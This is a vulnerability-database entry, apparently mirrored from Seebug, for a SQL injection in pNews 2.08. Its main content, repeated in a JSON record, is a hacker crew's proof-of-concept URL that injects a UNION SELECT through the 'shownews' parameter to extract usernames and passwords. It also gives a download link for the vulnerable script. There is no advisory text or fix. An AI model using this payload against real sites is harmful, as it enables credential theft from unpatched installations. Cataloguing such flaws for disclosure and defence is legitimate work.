Search...

pNews 2.08 (shownews) Remote SQL Injection Vulnerability

2008-06-10T00:00:00

ID SSV:8695
Type seebug
Reporter Root
Modified 2008-06-10T00:00:00

Description

No description provided by source.

                                        
                                            
                                                pNews&nbsp;2.08&nbsp;Remote&nbsp;SqL&nbsp;&amp;#304;nj.&nbsp;VuLn.

OrginaL&nbsp;:&nbsp;http://biyosecurity.com&nbsp;&amp;&nbsp;http://coderx.org

Cr@zy_King&nbsp;/&nbsp;sqL&nbsp;L0v3r'Z&nbsp;Crew&nbsp;Co.&nbsp;2008

Script&nbsp;Down&nbsp;;&nbsp;http://www.powie.de/cms/filedb/file.php?id=115&amp;filecat=&amp;eintrag=

http://localhost/index.php?shownews=2'+UNION+SELECT+1,2,username,4,pwd,6,7,8,9,10,11,12+FROM+table/*

Greatz&nbsp;:&nbsp;aLL&nbsp;My&nbsp;Friends&nbsp;:P&nbsp;

JSON Vulners Source

Initial Source

{"sourceData": "\n pNews 2.08 Remote SqL &#304;nj. VuLn.\r\n\r\nOrginaL : http://biyosecurity.com & http://coderx.org\r\n\r\nCr@zy_King / sqL L0v3r'Z Crew Co. 2008\r\n\r\nScript Down ; http://www.powie.de/cms/filedb/file.php?id=115&filecat=&eintrag=\r\n\r\nhttp://localhost/index.php?shownews=2'+UNION+SELECT+1,2,username,4,pwd,6,7,8,9,10,11,12+FROM+table/*\r\n\r\nGreatz : aLL My Friends :P \n ", "status": "poc", "description": "No description provided by source.", "sourceHref": "https://www.seebug.org/vuldb/ssvid-8695", "reporter": "Root", "href": "https://www.seebug.org/vuldb/ssvid-8695", "type": "seebug", "viewCount": 3, "references": [], "lastseen": "2017-11-19T21:39:43", "published": "2008-06-10T00:00:00", "cvelist": [], "id": "SSV:8695", "enchantments_done": [], "modified": "2008-06-10T00:00:00", "title": "pNews 2.08 (shownews) Remote SQL Injection Vulnerability", "cvss": {"score": 0.0, "vector": "NONE"}, "bulletinFamily": "exploit", "enchantments": {"score": {"value": 0.6, "vector": "NONE", "modified": "2017-11-19T21:39:43", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T21:39:43", "rev": 2}, "vulnersScore": 0.6}}